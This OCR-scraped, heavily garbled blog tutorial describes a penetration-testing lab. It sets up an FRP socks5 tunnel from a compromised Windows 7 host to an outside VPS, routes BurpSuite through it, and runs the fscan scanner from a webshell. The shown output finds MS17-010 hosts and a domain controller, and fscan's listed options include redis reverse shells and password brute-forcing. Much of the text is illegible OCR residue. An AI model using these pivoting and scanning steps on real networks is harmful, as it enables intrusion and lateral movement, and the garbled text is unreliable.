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~ Assets 16
@ frp_0.37.0 darwin_amdé64.tar.gz 8.47 MB
@ frp_0.37.0_darwin_armé4.tar.gz 8.23 MB
@ frp_0.37.0_freebsd_386.tar.gz 7.68 MB
@ frp_0.37.0_freebsd amd64.tar.gz 8.19 MB

@ frp 0.37.0 linux 386.tar.az —— 7.68 MB
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@ frp_0.37.0 linux_amd64.tar.gz 8.18 MB

[\] frp_0.37.0_linux_arm.tar.gz 7.56 MB
%] frp_0.37.0_linux_armé4.tar.gz 7.44 MB
@ frp_0.37.0_linux_mips.targz 7.34 MB
@ frp_0.37.0 linux_mipsé4.targz 7.27 MB
@ frp_0.37.0 linux_mipsé4le.tar.gz 7.11 MB
(%] frp_0.37.0 linux_mipsle.targz 7.22 MB

@ frp_0.37.0 windows_386.zip / 7.94 MB
(5] frp_0.37.0_ windows amd64.zip 8.25 MB
[5) Source code (zip)

[) Source code (tar.gz)
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o FinalShell 3.8.2.2
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-0 linux_emd64.tar.gz
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&1 raot it - Fih =] A R FAFY/FFE
.cache systemd ik 2021/06/03 01:06 drwxr-xr-x 10017987
conifig ] frpc 9.5 MB Stff 2021/06/03 01:02  -rwxr-xrx  1001/987
: «| frpc_fullini 93 KB EEiRE 2021/06/03 01:06 “TW-T--T— 10017987
-m2 | frpc.ini 126 B EEIRE 2021/06/03 01:06 -TW-r--r-- 1001/987
-msf4 | frps 12.6 MB 30 2021/06/03 01:02 ~TWXT-XI-X 1001/987

- ssh 5] frps_fullini 49 KB BEIRE 2021/06/03 01:06 -IW-r--1-- 10017987
& B CobaliStrike +| frps.ini 26 B BEIRE 2021/06/03 01:06 -TW-T--T-- 1001/987
5 FRP .| LICENSE 11.1 KB 3# 2021/06/03 01:06 -TW-r--r-- 1001/987
& frp_0.37.0_linux_amdé64
systemd
o ) XS

frpc #frpZ P U AT IR P
frpc_full.ini

frpc.ini #Frp2% e B S A
frps #Frp R G AT IR

frps_full.ini
frps.ini #frp k55 i B 4
LICENSE




2. frp MEBRNAN R BEEFR, frps.ini XHEBANREE T ik

= |e1MyvPs x | +

[root@hwc-hwp-587401-751218 frp 0.37.0 linux amd64]# 1s

frpc full.ini frpc.ini frps _full.ini frps.ini LICENSE
[root@hwc-hwp-5874081-751218 frp 0.37.0 linux amd64]#
[root@hwc-hwp-587401-751218 frp 0.37.0 linux amd641# cat frps.ini

[common ]
bind port = 7000
[root@hwc-hwp-587401-751218 frp 0.37.0 linux amd64]#
hitps://blog.csdn.netfweixin

AT MBI 25 3 e B SO frps. ind SREC BB EEEN, T EFR:

(= |e1MyvPs x | +

[root@hwc-hwp-587401-751218 frp 0.37.0 linux amd64]# 1s
frpc full.ini frpc.ini frps full.ini frps.ini LICENSE
ihwec-hwp-587401-751218 frp 0.37.0 linux amd64]#
ic-hwp-587401-751218 frp 0.37.0 linux amd641# cat frps.ini

.0 linux amd64]# vi frps.ini
.0 linux amd64]# cat frps.ini

bind port = 7060
<1y Trpl234
dhwe-hwp-587401-751218 frp 6.37.8 linux amd64]#

https://blog.csdn.net/weixin_:

3. #ATFH4L . /frps -c ./frps.ini FFERIEIT FRP BR%S:

[root@hwc-hwp-587401-751218 frp 0.37.0 linux amd64]# cat frps.ini
[common]
bind port =
token = frpl2
[root@hwe-hwp-587401-751218 frp 0.37.0 linux amd64]# ./frps -c ./frps.ini
1/07/14 14:1
21/07/14 14:]
14:]
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1. KXt RARAK FRP TR T3 Win7 BERHL EFMESE, B/ SmECE XH frpc.ini YIRS EUT .

Fr. Windows 7 x64 ﬁ Win2K3 Metasploitable ﬁ Windows Server 2008 R2 x64

Am ~ J] F1H ~ H= - FIED s

o W HBFR Li C\Users\Administrator\Desktop\frp_0.37.0 windows_amd64\frp_0.37.0 windows_amu
b TH e YD) HIEE BRO HEY KEN) ES0 RED 18O BEM) &R
= =E ) 7 frpc.exe o= 2o @& DM |#hBg| 2 2| EE|= '-—'E
Y @Eﬁlcﬂﬂgﬁlﬁ = frpc.l'nl' EJ Frm. fad I:! ‘
) | frpc_fullini 1 [ [commen]
= )3 W fips.exe 2 server addr = 127.0.0.1
8o o 3 server port = 7000
2 5 frps.ini a L
SER 5\ frps_fullini 5 [O[ssh]
LR 6 type = tcp
=S HCENSE 7 local ip = 127.0.0.1
I 8 local port = 22
9 remote port = 6000
AL e
& AR (C)

2. FFRMBEE FRP & P unBc B XM frpc.ini SRIRE RS AT IP Hibk. 3% 0. .

1= C:\Users\Administrator\Desktop\frp_0.37.0_windows_amd64\frp_0.37.0_windows_amd64\frpc.i... | == #

MfHF) REE(E) R(S) ME(V) HSIRN) ES() REM I80) BM) EFR) EEHP) BOMW) ? X
o4 o o= o M2 £ <|C =7 _I_H.ﬂ_ A0 W] ”.
Ej frpe. ini E3

1 | & [common]

Z server_addr = 104.168.7
server_port = 7000
token = frpl234 E—
H[socks5]
type = tcp
: remote port = 6666
9 plugin = socksb

10 use encryption = trud
11 use compression = true

server_addr = 104.168. . HVPSHR 5231 IP
server_port = 7000 #VPSHR %2 LB FRP JR%-465E % D
token = ftpl234 #VPSIRS IR BN FRP IRS-EREERD

#IXAN R RERERLFR, TR RE
tep #socks5 & TCP P
remote_port = 6666  #¥5E &L & A AEE B)E R O
plugin = socks5 #IEERI. socks5 RELRFIE
use_encryption = true

use_compression = true




3. BETFRPATH L frpc.exe -c frpc.ini BEIE ) 5mEIHA] .

B S5 C\Windows\Systepn32\cmd.exe - frpcexe -c frpc.ini =" ﬁ‘

H1crqs_oft Windows [FRA /6.1.7601] R )
FTE (c) 2009 Micrgsoft Corporation. {REE Fl) o

C:\Users\Administrato™*\Desktop'\frp_0.37.0_windows_amdB4\frp_0.37.0_windows_amd64
>frpe.exe -¢ frpec.ini

2021/07/14 23:07:00 [I] [service.go:304] [bTa85277f45f2a64] login to server succ
ess, get run id [bTa85277f45f2ab4], server udp port [0]

2021/07/14 23:07:00 [I] [proxy_manager.go:144] [bra85277fi45f2a644] proxy added: [
socksS]

2021/07/14 23:07:00 [I] [control.go:1808] [bTa85277f45f2a64] [socks5] start proxy
success

4. WHEF VPS 558 UTH 7000 % 0 BRI 5% P &, RN IFE T 6666 it H @3 T sockss AELEIE:

X
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0 linux_amd64]#
0_Llinux_amd64]# ./frps -c ./frps.ini
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Work EeEE SRCF& CTFES Kt HFiEE EETE =2Ts B=EER
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[OFviz=zan| [::1]
localhost
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2. ARJE1E Win10 B8 3 0 88 B VPS @57 /) FRP socks5 A, B ET 5 A 2 g I $E EHLE Web RS, RRIHSZI A W 5
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O switchyOmega ¥ x @ sy x +
< 2> C O A AFZe| 19216852138 ¥ %
Work ToEE SRCFE CTFFE =y A% FETR TeFE i [EEEE

O [B&RE

BurpSuite

XrayiHftizs

me _ N
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Benvenuto Xl
Welkom "
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Vélkommen
Hos Geldiniz
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W' FinalShell 3.9.2.2
= | e 1MyvPs x |+

linux_:
| linux : ./frps ¢ ./frps.ini

3. UL LB TEN S EEEE: frp B9 socks5 RESL, TESLFRBEIRESF N T 45A BurpSsuite X I Web R FHATIVENR,
BT PATE R B3 8% 7% 82 BurpSuite X, F7E BurpSuite P B E7E frp IR 2K sockss REEIA], 41T EAIR:

Burp Suite Professional v2.1.06 - Temporary Project - licensed to surferxyz
Burp Project Intruder Repeater Window Help

[ Dashboard I Target I Proxy I Intruder I Repeater I Sequencer I Decoder I Comparer I Extender I Project options I User options I Burpy I Domain Hunter I Fastjson scan [ BurpCrypto T

J Connections | SSL | Display I Misc ]

¥ Do platform authentication

[ Add J Destination host 4| Type | Username | Domain | Domain hostname

Edit

| Pammua |




[_] Prompt for credentials on platform authentication failure /

@ Upstream Proxy Servers
@ The following rules determine whether Burp sends each outgoing request to a proxy seger, or directly to the destination web server. The first rule that matches each destination host will be us

Note: these settings can be overridden for individual projects within project options,

[ Add ] Enabled | Destination host Proxy host /| Proxyp. | Authtype |Usermame
O * 127.0.01 3090
Remove »

i

@ SOCKS Proxy
{c:)} These settings let you configure Burp to use a SOCKS#Proxy. This setting is applied at the TCP level, and all outbound requests will be sent via this proxy. If you have configured rules for ups

Note: these settings can be overridden for individugifbrojects within project options.

—
] Use SOCKS proxy

SOCKS proxy host: |1D4.168.14

|
SOCKS proxy port: |6666| |
|
|

[_] Do DNS lookups aver SOCKS proxy

4. LA ERN Y A3 BurpSuite B AT LAV i 2 P9 R IIRSS T

O switchyOmega 3@ x @ ns7 x |
& > C 0O A T2 19216852138 * (O & °
| Work || m2M#E || SRCTE | CTIRs || AlEEir | RmEE | EmIs || %2Ts | oEaR & [EEEE

BurpSuite
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priai}

internet information services

https://iblog.csdn.net/iweixin_39190897

[ BurpSuite tBEHIE P AR 55 I EE 6L 7

2 http://192.168.52.138 GET |/ 304 230

axT —

E Response
_i Headers T Hex ]

GET / HITF/1.1

Host: 192.168.52.138

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User—Agent: Mozilla/5.0 (Windows NT 10.0; Winf4: =64) AppleWebEit/537.36 (EHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36

Accept: text/htnl, application/zhtml+zml, application/zml;q=0.9, inage/avif, inage/webp, inage/apng, */#*; q=0. 8, application/signed-exchange;v=h3;q=0. 9
Accept—-Encoding: gzip, deflate

Accept—Language: zh—CHN, zh;g=0. 9, en;g=0.8




If-None-Match: "69f04487835ad51:0"
If-Modified-Since: Sat, 24 Aug 2019 13:55:03 GNT
Comnection: close

ZE ORI E B frp #5722 socks5 RELREIE. SLHLA M 2K H !

FRP 3 B 1

ECHEK) socksb BEIEM TR AR ENL CRICHHE Win10 WEHLD 5 1a A AR 552 8075 R E B HGEE V5 i1 Win7 BERLEE
K WNTHSEEL P Y 5 1 H

FRP R FEAREIE R LLK AW EHLE 22, 3389 i 1 # R B AWM NI R D, AMLITEEENMRSSKER, mF
BT -

&« C @ O A htipsy//gofrp.org/docs/examples/ssh/ 38w Q&x
FRP o EE -
Q, thkigs. . 2. EEERHEIAREE L (SSH RFSESRIITE 22 inH) #B% frpc, #E frpcini 32, Big frps
FTERRSS RERTZ M 1P A xxxx:
3T
) [ common]
gkt server_addr = X.X.X.X
S server_port = 7000
5 [ssh]
=z . type = tcp _—_____________,__.
&g ssH i5IIPIRIHEE local_ip = 127.6.0.1
Eid B MSE AR local_port = 22 A
By Web BRSS remote_port = 6000
4 DNS Eifiligsk
ok Unix BiEET local_ip #1 local_port PREEAAMFETERERAMIIESHEMANIHT, remote_port FeaefE frp iR
TR EETSTI SHRISIRANED, IHIPILRCATRERS SR SRS S R AL,
8RS
St HTTP BBSSEER 3. S5BISEN frps F frpc,
HITPS 4. @i SSH iARPIRGHLES, BRI EA test:
ZERENMRS
lﬁsﬂ"ﬁp\]M;iﬁ ssh -oPort=6000 test@x.x.x.x
THaSE frp 2RBH x.x.x.x: 6000 HUREIRTIFMILEER 22 iHO,
=5
FAQ
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Fscan T B Github T H H#ihik, &% F 38

X Oshadow1ng/fscan:—ﬁl3§ﬂé X +
QO 8 https://github.com/shadow1ng/fscan B A Cu=

= README.md
7\
¢ @9

—mRRSEIRTE, AEE8ak. £ REER.
TEINEEEN, HOEE. SUESHKER. ms17010. redisitE2E4MA. WIS K#shell. SEHwinEE5
B, webigBURAI. webiEEITH. netbiosi®N, IMIEIRBIZIHEE,

FEIHE

1{E5818%

o IFEIFRM(icmp)
o TR

2 IRHTTRE:

» BXRSR(ssh. smb3F)
o HEREEESISEN (mysql. mssql. redis. psql&)

3ASER. REE:

e netbiosiFM, 1FHIEIRGI
o FHEHIFNEEE
o SfEimEIF#EmMs170105%)

4 WebiFMITHEE:

o webtitleIF
* weblFEGRAI(E T cms. oalEZEE)
o webjEiRAf(weblogic, st2ZF,3Z3Fxrayfpoc)


https://github.com/shadow1ng/fscan

HEETH:

@ O 8 httpsy//github.com/shadowlng/fscan/releases By Cmi L 6@ @ &
‘: Latest release :l
— fscan16.3
163 ‘
O cBacdes ﬂ shadowlng released this Jun 18, 2021
Compare ¥ #INPoc
HZpoclIHA, MNFIRGIHENSIRIEIESUE R Kpoc, NFEEIRIIZIES A SIBFEpoct]—IB
® B 2 2 people reacted
~ Assets 7
@ fscan_darwin 5.13 MB
@ fscan win32.exe 2.78 MB
@ fscan.exe 4.34 MB
@ fscan_amd64 4.88 MB
@ fscanb4.exe 4.89 MB
[?) Source code (zip)
[?) Source code (tar.gz)
] B A ¥ -
:= README.md
usege
=222 025

fscan.exe -h 192.168.1.1/24 (ERIEREIER)
fscan.exe -h 192.168.1.1/16 (BEREHHH)

HftbFiE

fscan.exe -h 192.168.
fscan.exe -h 192.168.
fscan.exe -h 192.168.
fscan.exe -h 192.168.
fscan.exe -h 192.168.
fscan.exe -h 192.168.
fscan.exe -h 192.168.
fscan.exe -h 192.168.

.1/24 -np -no -nopoc( Bk TFERM . FRFIE . BiHweb pociIIE)

.1/24 -rf id_rsa.pub (redis E%:-48)

.1/24 -rs 192.168.1.1:6666 (redis itHI{TE R HEshell)

.1/24 -c whoami (ssh BHMING. w<HIT)

.1/24 -m ssh -p 2222 (FEEEHsshInig0)

.1/24 -pwdf pwd.txt -userf users.txt (MEFEEXHEIAFE. ERRHTIER)
.1/24 -o [tmp/1l.txt (FEEAHSRARTEE,BUARTEIRHE)

.1/8  (AFERI192 .. x.1#0192 . x.x. 254, HiEHREEFMREE )

fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb¥RSFESE)

fscan.exe -h 192.168.1.1/24 -m ms17010 (I5EHEL)

fscan.exe -hf ip.txt (EAHESN)

fscan.exe -u http://baidu.com -proxy 8080 (FHHE--url, HiZEhttpftIE http://127.0.0.1:8080)

e I R R e e e i

THRGARTZLTR, BELRIHERMR!

1. £33 Win7 Bk#RHLK Shell:

N Cknife 1.0 Release




2. 4% fscanB4.exe U BB AL | -

N Cknife 1.0 Release

3. £ Cknife H3TH A4 4

H Cknife 1.0 Release

C:\phpStudv\WiW\»fzcanbd.

C - \phpStudy\ WIW\,

4. TEIHTIFEFEBITER resulttxt, 7 UAE B0 T #E B2 KNGS

exe —h 192_168_.52.0/24 —o re=ult_txt

" result.txt - 0=

OHE) \EE B0 EFNY) FEIH)

"I 92.168.52.138:445 open
192.168.52.143:139 open
192.168.52.138:88 open
192.168.52.141:7001 open
192.168.52.143:3306 open
192.168.52.141:445 open
192.168.52.143:445 open
192.168.52.141:139 open
192.168.52.138:139 open
192.168.52.143:135 open
192.168.52.141:135 open
192.168.52.141:21 open
192.168.52.143:80 open
192.168.52.138:80 open
192.168.52.141:8099 open
192.168.52.141:7002 open
192.168.52.138:135 open
192.168.52.141:8098 open
Netlinfo:

Wi, PATHAFS fscan6d.exe -h 192.168.52.0/24 -o result.txt , BEATHM{E BRI .



[*1192.168.52.143

[->]stul

[->]1192.168.52.143

[->1169.254.129.186

[->]1192.168.92.130
NetInfo:
[*]192.168.52.138

[->]owa

[->1192.168.52.138
[*] 192.168.52.143 o _MSBROWSE _ \STU1 Windows 7 Professional 7601 Service Pack 1
[+] 192.168.52.143 MS17-010 (Windows 7 Professional 7601 Service Pack 1)
NetInfo:
[*1192.168.52.141

[->]root-tvid62ubeh

[->1192.168.52.141
[*] WebTitle:http://192.168.52.141:7002 code:200 len:2632 title:Sentinel Keys License Monitor
[*]1 192.168.52.141 GOD\SNTL ROOT-TVI86

Mt ERT R 4R



192.168.52.138:445 open
192.168.52.143:139 open
192.168.52.138:88 open
192.168.52.141:7001 open
192.168.52.143:3306 open
192.168.52.141:445 open
192.168.52.143:445 open
192.168.52.141:139 open
192.168.52.138:139 open
192.168.52.143:135 open
192.168.52.141:135 open
192.168.52.141:21 open
192.168.52.143:80 open
192.168.52.138:80 open
192.168.52.141:8099 open
192.168.52.141:7002 open
192.168.52.138:135 open
192.168.52.141:8098 open
NetInfo
[*]192.168.52.143
[->]stul
[->]192.168.52.143
[->]169.254.129.186
.168.92.130

.52.138

.168.52.138
[*] 192.168.52.143 __ MSBROWSE__\STU1 Windows 7 Professional 7601 Service Pack 1
[+] 192.168.52.143 MS17-010 (Windows 7 Professional 7601 Service Pack 1)
NetInfo
[*]192.168.52.141
[->]root-tvi862ubeh
[->]192.168.52.141
WebTitle:http 192.168.52.141:7002 code:200 len:2632  title:Sentinel Keys License Monitor
192.168.52.141 GOD\SNTL_ROOT-TVI86
192.168.52.138 MS17-010 (Windows Server 2008 R2 Datacenter 7601 Service Pack 1)
192.168.52.138 [+]DC GOD\OWA Windows Server 2008 R2 Datacenter 7601 Service Pack 1
192.168.52.141 MS17-010 (Windows Server 2003 3790)
WebTitle:http 192.168.52.138 code:200 len:4 title:IIS7
WebTitle:http 192.168.52.141:8099 code:403 len:1409  title:The page must be viewed over a secure channel
WebTitle:http://192.168.52.143 code:200 len:21 title:phpStudy #4t 2014
ftp 192.168.52.141:21:anonymous

AUEE, AMEREGETILRRER:

1. R PR B ELAEE I AL 1P B L IT i o 5
2. FRKAMMB R ENHZFR. MS17-010 /KIEZ BEERAFMER (B 6 EHFEZRRD
3. A P Y B R EHLIT T Web AR S5 HObRRRE . i Dtk !

BEARIGIE T 3948 2K LA A Y Web 952 5 B SEA77E -

55 CSDNfEzE X The page must be viewed over 2 X Sentinel Keys License Monitor X phpStudy #2014

G o O & 192.16852.141

The page must be viewed over a secure channel




The page you are trying to access is secured with Secure Sockets Layer (SSL). \

Please try the following:

* Type https:// at the beginning of the address you are attempting to reach and
press ENTER.

HTTP Error 403.4 - Forbidden: S5L is required to view this resource,
Internet Information Services (IIS)

Technical Information (for support personnel)

S&-CSDNigz=

«

® Go to Microsoft Product Support Services and perform a title search for the words

HTTP and 403.

® Open IIS Help, which is accessible in IIS Manager (inetmgr), and search for
topics titled About Security, Secure Sockets Layer (SSL), and About Custom
Error Messages.

X The page must be viewed over 2 X Sentinel Keys License Monitor X phpStudy ¥t 2014 X +

G @ O 8 192.16852.141:7002 82 9y QE=E

alt="Your browser understands the < TET> tag but isn't running the applet, for some reason." Your browser is completely ignoring the <APPLET=> tag!

The page must be viewed over = X Sentinel Keys License Monitor X phpStudy i#%t 2014 X +

O 8 192.16852.143 B & Qs "
phpStudy El:ytc"_"ﬁ' for phpStudy 2014 not FEER phoStudy it
IESEREE
AESaaEEE/IPiEE  192.168.52.143(192.168.52.143)
IRSEREmE Windows NT STU1 6.1 buid 7601 (Windows 7 Business Edition Service Pack 1) i586
IRESSRIRMERE Windows P#ZhRA: NT RS EERRIES 1= Apache/2.4.23 (Win32) OpenS5L/1.0.2j PHP/5.4.45
BREInEE ;f;—g.r;,zh;qzo.s,zh-TW;q:D.?,zh-HK;q:D.5,en-U5;q:0.3,en; Ry 80
ERERREN= STUL AR C:/phpStudy/WWWwW
SERHE admin@phpStudy.net FEHEE C:/phpStudy/ WWW/l.php

PHPC RGN

Core bcmath calendar ctype date ereg filter ftp hash iconv json merypt SPL

odbe pcre Reflection session standard mysglnd tokenizer zip zlib libxml dom PDO bz2

Simple¥ML wddx ml xmlreader smlwriter apacheZhandler Phar curl com dotnet gd mbstring mysgl mysgli
pdo mysgl pdo sglite sglite3 xmlrpc xsl mhash

PHP{EE. (phpinfo) : PHPINFO PHPERA (php_version) : 5.4.45
PHPIE{TAR: APACHEZHANDLER A SEEARE (memory_limit) : 128M
PHPZ 24850 (safe_mode) : x POSTHyiERsr bRl (post_max_size) : &M
HESHHRAIRS (upload_max_flesize) : M FEREEERTRIEREL (precision) : 14
Bl=BEIRYE (max_execution_time) : 308D socketiBAIETE] (default_socket timeout) : 60F»
PHPTREIRB R (doc_root) : x AFREBRRE (user_dr) : x
dI()Es#8 (enable_dl) : % EERSNHBZR (indude_path) : %
STEREE (display_errors) : v EENLFEE (register_globals) : x
EOERAMTEY (magic_quotes_gpc) : X "<?...?>"15RE (short_open_tag) : x
"<% %>"ASPRAEtRIC (asp_tags) : x ZBREESHEEEE (ignore_repeated_errors) : x
PREESMEENT (ignore_repeated_source) : x BEREWER (report_memleaks) : W

BEX, VRBLZY A fscan XM MMESRELSE TIE! WEBIINLE KA PR E 8, 8T R P RIS 75 1% 55 fa (77 B



AXHEA . BETHMEEMNS FRP RARETREKNEMTE, FARNAT fscan AME =B AR MR 7£LRRI%
B> WRBES, ERSMABRILE Shell BURJG, BATAT LAMER fscan FEBEARHL L 134 Py AT 5= 148, RIE6H FRP
BEAT A 5328 WO B G P I B 7 AT I T S i I !
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